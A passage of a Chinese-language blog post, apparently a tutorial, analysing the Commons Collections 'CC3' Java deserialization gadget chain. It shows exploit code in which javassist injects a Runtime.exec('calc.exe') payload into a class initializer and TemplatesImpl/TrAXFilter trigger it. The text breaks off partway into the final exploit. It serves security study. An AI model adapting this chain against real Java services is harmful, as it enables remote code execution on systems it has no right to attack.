{"id":482,"date":"2024-03-08T15:46:32","date_gmt":"2024-03-08T07:46:32","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=482"},"modified":"2024-03-16T00:10:36","modified_gmt":"2024-03-15T16:10:36","slug":"javac3","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2024\/03\/08\/javac3\/","title":{"rendered":"Java\u5b89\u5168 CC\u94fe3\u5206\u6790"},"content":{"rendered":"

cc\u94fe3\u4ecb\u7ecd<\/h1>\n

cc\u94fe3\u7684\u540e\u534a\u90e8\u5206\u4e0ecc\u94fe1\u76f8\u540c\uff0c\u90fd\u662f\u901a\u8fc7TransformedMap\u7c7b\u6216LazyMap\u7c7b\u89e6\u53d1transform\u65b9\u6cd5<\/strong>\uff0c\u4ece\u800c\u89e6\u53d1\u6838\u5fc3\u94fe\uff0c\u4e0ecc1\u4e0d\u540c\u7684\u662f\uff0ccc\u94fe3\u7684\u6838\u5fc3\u94fe\u7528\u5230\u4e86\u7c7b\u5728\u52a0\u8f7d\u521d\u59cb\u5316\u65f6\u4f1a\u81ea\u52a8\u6267\u884c\u9759\u6001\u65b9\u6cd5<\/p>\n

\u6709\u5173\u73af\u5883\u914d\u7f6e\u548cCC\u94fe3\u540e\u63a5\u7684CC\u94fe1\u90e8\u5206\u89e3\u6790\u53ef\u67e5\u770b\u4ee5\u4e0b\u4e24\u7bc7\u6587\u7ae0<\/p>\n

\n

Java\u5b89\u5168 CC\u94fe1\u5206\u6790<\/a>
\nJava\u5b89\u5168 CC\u94fe1\u5206\u6790(Lazymap\u7c7b)<\/a><\/p>\n

\u524d\u7f6e\u77e5\u8bc6<\/h1>\n<\/blockquote>\n

\u7c7b\u52a0\u8f7d<\/h2>\n

java\u7c7b\u52a0\u8f7d\u7684\u673a\u5236\u5982\u4e0b<\/p>\n

\"1709883536887.png\"<\/div><\/p>\n

java\u4e2d\u7684\u7c7b\u5728\u4f7f\u7528\u65f6\u53ea\u4f1a\u88ab\u52a0\u8f7d\u4e00\u6b21\uff0c\u5f53\u7b2c\u4e00\u6b21\u4f7f\u7528\u67d0\u4e2a\u7c7b\u65f6\uff0cJava\u865a\u62df\u673a\u4f1a\u67e5\u627e\u5e76\u52a0\u8f7d\u76f8\u5e94\u7684class\u6587\u4ef6\uff0c\u5e76\u5c06\u5176\u8f6c\u6362\u6210\u53ef\u6267\u884c\u7684\u5b57\u8282\u7801\u3002\u52a0\u8f7d\u5b8c\u6210\u540e\uff0c\u8be5\u7c7b\u7684\u5b9a\u4e49\u4fe1\u606f\u5c06\u5b58\u50a8\u5728\u65b9\u6cd5\u533a\u4e2d\uff0c\u4f9b\u540e\u7eed\u4f7f\u7528<\/p>\n

\n

\u7c7b\u5728\u52a0\u8f7d\u6210\u529f\u521d\u59cb\u5316\u65f6\u9759\u6001\u4ee3\u7801\u5757\u4f1a\u88ab\u6267\u884c<\/p>\n<\/blockquote>\n

\u5728\u540c\u4e00\u4e2a\u7c7b\u52a0\u8f7d\u5668\u7684\u4f5c\u7528\u8303\u56f4\u5185\uff0c\u5982\u679c\u518d\u6b21\u52a0\u8f7d\u540c\u4e00\u4e2a\u7c7b\uff0cJava\u865a\u62df\u673a\u4f1a\u76f4\u63a5\u8fd4\u56de\u5df2\u7ecf\u52a0\u8f7d\u8fc7\u7684\u7c7b\u7684\u5b9a\u4e49\u4fe1\u606f\uff0c\u800c\u4e0d\u4f1a\u91cd\u65b0\u52a0\u8f7d\u548c\u521d\u59cb\u5316\u3002\u8fd9\u4e5f\u610f\u5473\u7740\u7c7b\u9759\u6001\u4ee3\u7801\u5757\u53ea\u4f1a\u6267\u884c\u4e00\u6b21\u3002<\/p>\n

\n

cc\u94fe3\u5c31\u662f\u901a\u8fc7\u5bf9\u521d\u59cb\u5316\u65f6\u7684\u9759\u6001\u4ee3\u7801\u690d\u5165\u6076\u610f\u4ee3\u7801\uff0c\u4ece\u800c\u547d\u4ee4\u6267\u884c<\/p>\n<\/blockquote>\n

\u7c7b\u52a0\u8f7d\u7684\u65b9\u6cd5<\/h2>\n

\u8fd9\u91cc\u662f\u4e00\u4e2ademo<\/p>\n

\u6211\u4eec\u6765\u63a2\u7a76\u5176\u4e2d\u7684\u4ee3\u7801\u4ec0\u4e48\u60c5\u51b5\u4e0b\u4f1a\u6267\u884c<\/p>\n

public class demo1 {\n    static {\n        System.out.println(1);\n    }\n\n    public demo1(){\n        System.out.println(2);\n    }\n}<\/code><\/pre>\n
\u4f8b1.forName<\/h3>\n
\u6211\u4eec\u6d4b\u8bd5forName\u65b9\u6cd5<\/strong>\u52a0\u8f7d\u7c7b\u662f\u5426\u4f1a\u89e6\u53d1\u7684\u9759\u6001\u4ee3\u7801<\/p>\n
String url = "org.example.cc3.demo1";\nClass<?> className = Class.forName(url); \/\/\u8f93\u51fa1\ntest test1 = (test) className.newInstance(); \/\/\u8f93\u51fa2 <\/code><\/pre>\n
\u4f8b2.getSystemClassLoader<\/h3>\n
\u6211\u4eec\u6d4b\u8bd5getSystemClassLoader\u65b9\u6cd5<\/strong>\u52a0\u8f7d\u7c7b\u662f\u5426\u4f1a\u89e6\u53d1\u7684\u9759\u6001\u4ee3\u7801<\/p>\n
String url = "org.example.cc3.demo1";\nClassLoader loader = ClassLoader.getSystemClassLoader();\nClass<?> clazz = loader.loadClass(url2); \/\/\u8f93\u51fa\u7a7a\ntest test2 = (test) clazz.newInstance(); \/\/\u8f93\u51fa1\u548c2<\/code><\/pre>\n
\u603b\u7ed3<\/h3>\n
    \n
  • forName\u65b9\u6cd5\u52a0\u8f7d\u7c7b\u7684\u65f6\u5019\u4f1a\u81ea\u52a8\u521d\u59cb\u5316\u7c7b\uff0c\u4ece\u800c\u89e6\u53d1\u9759\u6001\u4ee3\u7801\uff0c\u8f93\u51fa1<\/li>\n
  • loadClass\u65b9\u6cd5\u53ea\u4f1a\u52a0\u8f7d\u7c7b\uff0c\u4e0d\u4f1a\u521d\u59cb\u5316\u7c7b\uff0c\u4ece\u800c\u4e0d\u4f1a\u89e6\u53d1\u9759\u6001\u4ee3\u7801\uff0c\u6545\u8f93\u51fa\u7a7a\u767d<\/li>\n
  • newInstance\u65b9\u6cd5\u4f1a\u5b9e\u4f8b\u5316\u7c7b\u5e76\u521d\u59cb\u5316\u7c7b\uff0c\u4f46\u7c7b\u5728\u52a0\u8f7d\u65f6\u53ea\u4f1a\u88ab\u521d\u59cb\u5316\u4e00\u6b21\uff0c\u6545\u4f8b1\u4e2dnewInstance\u65b9\u6cd5\u53ea\u4f1a\u8f93\u51fa\u6784\u9020\u65b9\u6cd5\u4e2d\u76842\uff0c\u800c\u4f8b2\u4e2d\u4f1a\u8f93\u51fa\u9759\u6001\u4ee3\u7801\u4e2d\u76841\u548c\u6784\u9020\u65b9\u6cd5\u4e2d\u76842<\/li>\n<\/ul>\n
    javassist\u6a21\u5757<\/h2>\n
    exp\u91cc\u6211\u4eec\u4f7f\u7528\u4e86javassist\u6a21\u5757\u6765\u521b\u5efa\u5177\u6709\u6076\u610f\u4ee3\u7801\u7684\u7c7b\u7684\u5b57\u8282\u7801\uff0c\u8fd9\u91cc\u7b80\u8ff0\u4e00\u4e0b\u5e38\u7528\u7684\u65b9\u6cd5\uff0c\u4e0d\u518d\u8fc7\u591a\u8d58\u8ff0<\/p>\n
    exp\u4e2d\u5173\u952e\u4ee3\u7801\u5982\u4e0b<\/p>\n
    ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));\n        CtClass cc = pool.makeClass("Cat");\n        String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc.exe\\");";\n        cc.makeClassInitializer().insertBefore(cmd);\n        String randomClassName = "EvilCat" + System.nanoTime();\n        cc.setName(randomClassName);\n        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));\n        cc.writeFile();\n        byte[] classBytes = cc.toBytecode();\n        byte[][] targetByteCodes = new byte[][]{classBytes};<\/code><\/pre>\n
      \n
    • ClassPool pool = ClassPool.getDefault();<\/code> - \u83b7\u53d6\u9ed8\u8ba4\u7684\u7c7b\u6c60\u5bf9\u8c61\u3002<\/li>\n
    • pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));<\/code> - \u63d2\u5165\u4e00\u4e2a\u7c7b\u8def\u5f84\uff0c\u8fd9\u91cc\u662f\u63d2\u5165\u4e86 AbstractTranslet<\/code> \u7c7b\u7684\u7c7b\u8def\u5f84\u3002<\/li>\n
    • CtClass cc = pool.makeClass("Cat");<\/code> - \u4f7f\u7528\u7c7b\u6c60\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7c7b Cat<\/code>\u3002<\/li>\n
    • String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc.exe\\");";<\/code> - \u51c6\u5907\u4e00\u4e2a\u5f85\u63d2\u5165\u5230\u7c7b\u521d\u59cb\u5316\u5668\u4e2d\u7684\u6076\u610f\u547d\u4ee4\uff0c\u8fd9\u91cc\u662f\u6267\u884c calc.exe\uff08Windows \u8ba1\u7b97\u5668\uff09\u3002<\/li>\n
    • cc.makeClassInitializer().insertBefore(cmd);<\/code> - \u5728\u7c7b\u521d\u59cb\u5316\u5668\u4e2d\u63d2\u5165\u521a\u624d\u51c6\u5907\u7684\u6076\u610f\u547d\u4ee4\u3002<\/li>\n
    • String randomClassName = "EvilCat" + System.nanoTime();<\/code> - \u521b\u5efa\u4e00\u4e2a\u968f\u673a\u7684\u7c7b\u540d\u3002<\/li>\n
    • cc.setName(randomClassName);<\/code> - \u5c06\u7c7b\u7684\u540d\u79f0\u8bbe\u7f6e\u4e3a\u521a\u624d\u751f\u6210\u7684\u968f\u673a\u7c7b\u540d\u3002<\/li>\n
    • cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));<\/code> - \u8bbe\u7f6e\u65b0\u5efa\u7c7b\u7684\u7236\u7c7b\u4e3a AbstractTranslet<\/code>\u3002<\/li>\n
    • cc.writeFile();<\/code> - \u5c06\u751f\u6210\u7684\u7c7b\u6587\u4ef6\u5199\u5165\u78c1\u76d8\u3002<\/li>\n
    • byte[] classBytes = cc.toBytecode();<\/code> - \u83b7\u53d6\u751f\u6210\u7c7b\u7684\u5b57\u8282\u7801\u3002<\/li>\n
    • byte[][] targetByteCodes = new byte[][]{classBytes};<\/code> - \u5c06\u7c7b\u5b57\u8282\u7801\u5b58\u50a8\u5728\u4e00\u4e2a\u4e8c\u7ef4\u6570\u7ec4\u4e2d<\/li>\n<\/ul>\n
      cc\u94fe3\u5206\u6790<\/h1>\n
      TemplatesImpl\u7c7b<\/h2>\n
      \u8fd9\u91cc\u6211\u4eec\u7528TemplatesImpl\u7c7b<\/code>\u8fdb\u884c\u7c7b\u52a0\u8f7d\uff0c\u89e6\u53d1\u7c7b\u4e2d\u7684\u9759\u6001\u65b9\u6cd5<\/p>\n
      \n
      TemplatesImpl\u7c7b\u4e2d\u662f\u4f7f\u7528ClassLoader\u4e2d\u7684loadClass\u65b9\u6cd5\u52a0\u8f7d\u7c7b\u7684\uff0c\u6545\u4e0d\u80fd\u521d\u59cb\u5316\u7c7b\uff0c\u9700\u8981\u914d\u5408newInstance\u65b9\u6cd5\u624d\u53ef\u4ee5\u521d\u59cb\u5316\u7c7b\uff0c\u4ece\u800c\u89e6\u53d1\u9759\u6001\u65b9\u6cd5<\/p>\n<\/blockquote>\n
      \u5f53 ClassLoader\u65b9\u6cd5<\/code> \u52a0\u8f7d\u4e00\u4e2a\u7c7b\u65f6,\u5982\u679c\u8fd9\u4e2a\u7c7b\u4e4b\u524d\u6ca1\u6709\u88ab\u52a0\u8f7d\u8fc7,\u5b83\u4f1a\u8c03\u7528\u81ea\u8eab\u7684 defineClass()<\/code> \u65b9\u6cd5\u6765\u5c06\u7c7b\u7684\u5b57\u8282\u7801\u8f6c\u6362\u4e3a Class \u5bf9\u8c61<\/code><\/p>\n
      \u6211\u4eec\u5148\u67e5\u770b\u4e0bTemplatesImpl\u7c7b<\/code>\u4e2d\u7684defineClass\u65b9\u6cd5<\/code>\uff08\u8be5\u65b9\u6cd5\u5c5e\u4e8e\u9759\u6001\u7c7bTransletClassLoader<\/strong>\uff09\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
      \n
      TemplatesImpl\u7c7b\u662fClassLoader\u7c7b\u7684\u4e00\u4e2a\u5b50\u7c7b<\/strong>\uff0c\u91cd\u5199\u4e86defineClass\u65b9\u6cd5\u548cloadClass\u65b9\u6cd5<\/p>\n<\/blockquote>\n
      static final class TransletClassLoader extends ClassLoader { \n    \u2026\u2026\u2026\u2026\n    Class defineClass(final byte[] b) {\n            return defineClass(null, b, 0, b.length);\n        }\n    \u2026\u2026\u2026\u2026\n}<\/code><\/pre>\n
      \u6211\u4eec\u518d\u6765\u770b\u4e00\u4e0b\u54ea\u91cc\u8c03\u7528\u4e86defineClass\u65b9\u6cd5<\/code>\uff0c\u53f3\u952e\u67e5\u770b\u7528\u6cd5\uff0c\u6211\u4eec\u627e\u5230defineTransletClasses\u65b9\u6cd5<\/code>\u8c03\u7528\u4e86\u8be5\u65b9\u6cd5\uff0c\u5173\u952e\u4ee3\u7801\u5982\u4e0b<\/p>\n
      private void defineTransletClasses()\n        throws TransformerConfigurationException {\n\n        if (_bytecodes == null) {\n            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);\n            throw new TransformerConfigurationException(err.toString());\n        }\n\n        TransletClassLoader loader = (TransletClassLoader)\n\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\n            for (int i = 0; i < classCount; i++) {\n                _class[i] = loader.defineClass(_bytecodes[i]); \/\/\u8c03\u7528defineClass\n                final Class superClass = _class[i].getSuperclass();\n\n\u2026\u2026\u2026\u2026\u2026\u2026\n    }<\/code><\/pre>\n
      \u6211\u4eec\u770b\u5230loader\u5bf9\u8c61<\/code>\u662f\u5bf9\u9759\u6001\u7c7bTransletClassLoader<\/code>\u7684\u4e00\u4e2a\u5f15\u7528\uff0c\u901a\u8fc7\u4e00\u4e2afor\u5faa\u73af<\/strong>\u6765\u52a0\u8f7d\u6587\u4ef6\u4e2d\u7c7b\u7684\u5b57\u8282\u7801\u5230class[i]\u6570\u7ec4<\/strong>\uff0c\u5173\u952e\u4ee3\u7801\u4e3aclass[i] = loader.defineClass(_bytecodes[i])<\/code><\/p>\n
      \u4f46\u662f defineTransletClasses\u65b9\u6cd5<\/code> \u662f\u79c1\u6709<\/strong>\u7684\uff0c\u6211\u4eec\u518d\u53f3\u952e\u67e5\u770b\u4e00\u4e0b\u54ea\u91cc\u8c03\u7528\u4e86defineTransletClasses\u65b9\u6cd5<\/code><\/p>\n
      \"1709883561272.png\"<\/div><\/p>\n
      \u6211\u4eec\u6765\u5230getTransletInstance\u65b9\u6cd5<\/code>\uff0c\u5173\u952e\u4ee3\u7801\u5982\u4e0b<\/p>\n
          private Translet getTransletInstance()\n        throws TransformerConfigurationException {\n        try {\n            if (_name == null) return null;\n\n            if (_class == null) defineTransletClasses();\n\n            \/\/ The translet needs to keep a reference to all its auxiliary\n            \/\/ class to prevent the GC from collecting them\n            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();\n            \u2026\u2026\u2026\u2026\u2026\u2026\n      }<\/code><\/pre>\n
      \u6211\u4eec\u770b\u5230\u53ea\u8981\u6ee1\u8db3_name != null<\/code>\u548c_class == null<\/code>\u8fd9\u4e24\u4e2a\u6761\u4ef6\u5c31\u4f1a\u6267\u884cdefineTransletClasses()\u65b9\u6cd5\u52a0\u8f7d\u7c7b\uff0c\u7136\u540e\u6267\u884cnewInstance()\u65b9\u6cd5<\/code>\u521d\u59cb\u5316\u7c7b\u6267\u884c\u9759\u6001\u4ee3\u7801<\/strong><\/p>\n
      \u4f46\u662fgetTransletInstance\u65b9\u6cd5\u4e5f\u662f\u79c1\u6709\u7684<\/strong>\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u54ea\u91cc\u8c03\u7528\u4e86getTransletInstance\u65b9\u6cd5<\/code>\uff0c\u53f3\u952e\u67e5\u770b\u7528\u6cd5\uff0c\u6211\u4eec\u6765\u5230\u4e86newTransformer\u65b9\u6cd5<\/code>\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u662f\u516c\u6709\u7684\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
      \n
      \u8fd9\u91cc\u6211\u4eec\u53d1\u73b0AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();<\/code>\uff0c\u8be5\u884c\u4ee3\u7801\u662f\u628a\u6211\u4eec\u52a0\u8f7d\u7684\u5b57\u8282\u7801\u5bf9\u8c61\u5b9e\u4f8b\u5316\u4e3aAbstractTranslet<\/strong>\u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u6545\u6211\u4eec\u9700\u8981\u5c06\u6784\u9020\u7684\u5b57\u8282\u7801\u5bf9\u8c61\u7684\u7236\u7c7b\u8bbe\u7f6e\u4e3aAbstractTranslet<\/strong>\u7c7b<\/p>\n<\/blockquote>\n
      public synchronized Transformer newTransformer()\n    throws TransformerConfigurationException\n{\n    TransformerImpl transformer;\n    \/\/\u4e0b\u884c\u4ee3\u7801\u8c03\u7528\u4e86getTransletInstance()\u65b9\u6cd5\n    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,\n        _indentNumber, _tfactory);\n\n    if (_uriResolver != null) {\n        transformer.setURIResolver(_uriResolver);\n    }\n\n    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {\n        transformer.setSecureProcessing(true);\n    }\n    return transformer;\n}<\/code><\/pre>\n
      demo2<\/h2>\n
      \u6211\u4eec\u5148\u6765\u770b\u4e0bTemplatesImpl\u7c7b<\/code>\u4e2d\u5404\u5c5e\u6027\u7684\u521d\u59cb\u503c<\/p>\n
      \"1709883589022.png\"<\/div><\/p>\n
      demo\u4e2d\u9700\u8981\u6ee1\u8db3\u7684\u6761\u4ef6\u5982\u4e0b<\/p>\n
        \n
      1. _bytecodes\u5c5e\u6027\u4e3a\u6709\u9759\u6001\u6076\u610f\u4ee3\u7801\u7684\u7c7b\u5b57\u8282\u7801<\/li>\n
      2. _name\u5c5e\u6027\u4e0d\u4e3a\u7a7a<\/li>\n
      3. _tfactory\u5c5e\u6027\u8d4b\u503c\u4e3aTransformerFactoryImpl()\u7c7b<\/li>\n
      4. _class\u5c5e\u6027\u4e3a\u7a7a<\/li>\n<\/ol>\n
        \u8fd9\u91cc\u6211\u4eec\u5c31\u4e0a\u9762\u7684\u53d1\u73b0\u5199\u4e00\u6761\u4e2d\u95f4\u7684\u94fe\uff0c\u6d4b\u8bd5\u4e00\u4e0b<\/p>\n
        package org.example;\n\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport java.lang.reflect.*;\n\npublic class cc31 {\n    public static void main(String[] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));\n        CtClass cc = pool.makeClass("Cat");\n        String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc.exe\\");";\n        cc.makeClassInitializer().insertBefore(cmd);\n        String randomClassName = "EvilCat" + System.nanoTime();\n        cc.setName(randomClassName);\n        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));\n        cc.writeFile();\n        byte[] classBytes = cc.toBytecode();\n        byte[][] targetByteCodes = new byte[][]{classBytes};\n\n        \/\/\u8865\u5145\u5b9e\u4f8b\u5316\u65b0\u5efa\u7c7b\u6240\u9700\u7684\u6761\u4ef6\n        TemplatesImpl templates = new TemplatesImpl();\n        Class tc = templates.getClass();\n        Field byField = tc.getDeclaredField("_bytecodes");\n        byField.setAccessible(true);\n        byField.set(templates,targetByteCodes); \/\/\u4f20\u8fdb\u53bb\u6076\u610f\u5b57\u8282\u7801\u6587\u4ef6\n        Field nameField = tc.getDeclaredField("_name");\n        nameField.setAccessible(true);\n        nameField.set(templates,"a"); \/\/\u7ed9_name\u8d4b\u503c\uff0c\u4e0d\u4e3a\u7a7a\n        Field tfactory = tc.getDeclaredField("_tfactory");\n        tfactory.setAccessible(true);\n        tfactory.set(templates, new TransformerFactoryImpl());\n        templates.newTransformer();\n    }\n}<\/code><\/pre>\n
        \u6211\u4eec\u6765\u8bb2\u4e0b\u4e3a\u4ec0\u4e48\u9700\u8981\u7ed9_tfactory\u5c5e\u6027<\/code>\u8d4b\u503c\uff0c\u8fd9\u91cc\u6211\u4eec\u6765\u5230\u4e4b\u524d\u7684defineTransletClasses\u7c7b<\/code>\u4e2d\uff0c\u53d1\u73b0\u6709\u8be5\u6bb5\u4ee3\u7801<\/p>\n
        AccessController.doPrivileged(new PrivilegedAction() {\n                public Object run() {\n                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());\n                }\n            });<\/code><\/pre>\n
        \u8fd9\u91cc\u8c03\u7528\u4e86_tfactory.getExternalExtensionsMap()<\/code>\u65b9\u6cd5\uff0c\u6211\u4eec\u770b\u4e0b_tfactory\u5c5e\u6027\u7684\u521d\u59cb\u503c<\/strong>\uff0c\u53f3\u952e\u8f6c\u5230\u58f0\u660e<\/p>\n
            private transient TransformerFactoryImpl _tfactory = null;<\/code><\/pre>\n
        \u53d1\u73b0\u521d\u59cb\u503c\u4e3anull\uff0cnull\u5f53\u7136\u6ca1\u6709getExternalExtensionsMap()\u65b9\u6cd5<\/strong>\uff0c\u8fd9\u6837\u7684\u8bdd\u4f1a\u5bfc\u81f4demo\u8fd0\u884c\u51fa\u9519<\/strong>\uff0c\u6211\u4eec\u518d\u6b21\u53f3\u952e\u67e5\u770b_tfactory\u5c5e\u6027<\/code>\u7684\u7528\u6cd5\uff0c\u67e5\u770b\u5728\u54ea\u8d4b\u503c<\/p>\n
        \"1709883627999.png\"<\/div><\/p>\n
        \u6211\u4eec\u53d1\u73b0_tfactory\u5c5e\u6027<\/code>\u4f1a\u5728\u5f53\u524d\u5bf9\u8c61\u6267\u884creadObject\u65b9\u6cd5<\/code>\uff0c\u4e5f\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u88ab\u8d4b\u503c\u4e3aTransformerFactoryImpl()\u7c7b<\/strong>\uff0c\u4f46\u662f\u6211\u4eec\u8fd9\u4e2a\u662f\u4e2d\u671fdemo\uff0c\u5e76\u4e0d\u6d89\u53ca\u53cd\u5e8f\u5217\u5316<\/strong>\uff0c\u6545\u9700\u8981\u624b\u52a8<\/strong>\u8bbe_tfactory\u5c5e\u6027\u4e3aTransformerFactoryImpl()\u7c7b<\/strong><\/p>\n
        \u6211\u4eec\u8fd0\u884cdemo\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
        \"1709883646539.png\"<\/div><\/p>\n
        TrAXFilter\u7c7b<\/h2>\n
        \u63a5\u4e0b\u6765\u6211\u4eec\u4fbf\u67e5\u770b\u54ea\u91cc\u8c03\u7528\u4e86TemplatesImpl\u7c7b<\/code>\u7684newTransformer\u65b9\u6cd5<\/code>\uff0c\u6211\u4eec\u6765\u5230TrAXFilter\u7c7b<\/code>\uff0c\u53d1\u73b0\u5176\u6784\u9020\u65b9\u6cd5<\/strong>\u4f1a\u8c03\u7528newTransformer\u65b9\u6cd5<\/code><\/p>\n
        public TrAXFilter(Templates templates)  throws\n    TransformerConfigurationException\n{\n    _templates = templates;\n    _transformer = (TransformerImpl) templates.newTransformer(); \/\/\u8fd9\u91cc\n    _transformerHandler = new TransformerHandlerImpl(_transformer);\n    _useServicesMechanism = _transformer.useServicesMechnism();\n}<\/code><\/pre>\n
        \u6211\u4eec\u53ea\u9700\u5728\u6784\u9020\u65b9\u6cd5\u4e2d\u4f20\u5165templates\u4e3aTemplatesImpl\u5bf9\u8c61\u5373\u53ef<\/strong><\/p>\n
        InstantiateTransformer\u7c7b<\/h2>\n
        \u6211\u4eec\u9700\u8981\u628a\u524d\u9762\u7684demo2\u63a5\u4e0acc1\u7684\u540e\u534a\u6bb5\uff0c\u8fd9\u5c31\u9700\u8981\u7528\u5230transform\u65b9\u6cd5\u4e86<\/p>\n
        \u6211\u4eec\u67e5\u770b\u4e0bInstantiateTransformer\u7c7b<\/code>\u7684transform\u65b9\u6cd5<\/code><\/p>\n
            public Object transform(Object input) {\n        try {\n             \/\/\u4e0d\u662fclass\u5bf9\u8c61\u5219\u629b\u51fa\u5f02\u5e38\n            if (input instanceof Class == false) {\n                throw new FunctorException(\n                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "\n                        + (input == null ? "null object" : input.getClass().getName()));\n            }\n            \/\/\u83b7\u53d6\u6784\u9020\u5668\n            Constructor con = ((Class) input).getConstructor(iParamTypes);\n            \/\/\u5b9e\u4f8b\u5316\u5bf9\u8c61\n            return con.newInstance(iArgs);\n\n        } catch (NoSuchMethodException ex) {\n            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");\n        } catch (InstantiationException ex) {\n            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);\n        } catch (IllegalAccessException ex) {\n            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);\n        } catch (InvocationTargetException ex) {\n            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);\n        }\n    }<\/code><\/pre>\n
        \u53d1\u73b0\u8be5transform\u65b9\u6cd5<\/code>\u4f1a\u6839\u636e\u4f20\u5165\u7684input\u7c7b\u578b\u53c2\u6570<\/strong>\u53bb\u901a\u8fc7\u53cd\u5c04\u5b9e\u4f8b\u5316\u4e00\u4e2a\u7c7b<\/p>\n
        \u6211\u4eec\u9700\u8981\u5c06input\u53c2\u6570\u8bbe\u7f6e\u4e3aTrAXFilter\u7c7b\u7684class\u5bf9\u8c61<\/strong>\uff08\u901a\u8fc7ChainedTransformer\u7684\u5faa\u73af\u8c03\u7528transform\u65b9\u6cd5\u5b9e\u73b0\uff09<\/p>\n
        \u7136\u540e\u6211\u4eec\u518d\u67e5\u770b\u4e0bInstantiateTransformer\u7c7b<\/code>\u7684\u6784\u9020\u65b9\u6cd5<\/strong>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
            public InstantiateTransformer(Class[] paramTypes, Object[] args) {\n        super();\n        iParamTypes = paramTypes;\n        iArgs = args;\n    }<\/code><\/pre>\n
        \u53d1\u73b0transform\u65b9\u6cd5<\/code>\u91cc\u7684iParamTypes\u548ciArgs\u53c2\u6570<\/strong>\u53ef\u63a7\uff0c\u6211\u4eec\u9700\u8981\u5c06iParamTypes\u8bbe\u7f6e\u4e3aTrAXFilter\u7c7b\u6784\u9020\u65b9\u6cd5\u7684\u53c2\u6570\u7c7b\u578b<\/strong>\uff0c\u4ee5\u4fbf\u6b63\u786e\u83b7\u5f97\u6784\u9020\u5668\uff0c\u4ece\u800c\u5b9e\u4f8b\u5316<\/p>\n
        \u7136\u540e\u628aiArgs\u53c2\u6570<\/code>\u8bbe\u7f6e\u4e3aTemplatesImpl\u5bf9\u8c61<\/code>\uff0c\u4ece\u800c\u5728\u5b9e\u4f8b\u5316TrAXFilter\u5bf9\u8c61\u7684\u65f6\u5019\uff0c\u628aTrAXFilter\u5bf9\u8c61\u7684\u6784\u9020\u65b9\u6cd5\u4e2d_templates\u5c5e\u6027<\/code>\u8d4b\u503c\u4e3aTemplatesImpl\u5bf9\u8c61<\/code>\uff0c\u4ece\u800c\u5728TrAXFilter\u5bf9\u8c61\u7684\u6784\u9020\u65b9\u6cd5\u4e2d<\/strong>\u8c03\u7528TemplatesImpl\u5bf9\u8c61<\/code>\u7684newTransformer()\u65b9\u6cd5<\/code>\uff0c\u4ece\u800c\u52a0\u8f7d\u9759\u6001\u4ee3\u7801\u505a\u5230\u6076\u610f\u4ee3\u7801\u6267\u884c<\/strong><\/p>\n
        \u6700\u7ec8exp<\/h1>\n
        \u57fa\u4e8eLazyMap\u94fe<\/h2>\n
        package org.example;\n\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.xml.transform.Templates;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.*;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc3 {\n    public static void main(String[] args) throws Exception {\n\n        \/\/\u4f7f\u7528Javassit\u65b0\u5efa\u4e00\u4e2a\u542b\u6709static\u7684\u7c7b\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));\n        CtClass cc = pool.makeClass("Cat");\n        String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc.exe\\");";\n        cc.makeClassInitializer().insertBefore(cmd);\n        String randomClassName = "EvilCat" + System.nanoTime();\n        cc.setName(randomClassName);\n        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));\n        cc.writeFile();\n        byte[] classBytes = cc.toBytecode();\n        byte[][] targetByteCodes = new byte[][]{classBytes};\n\n        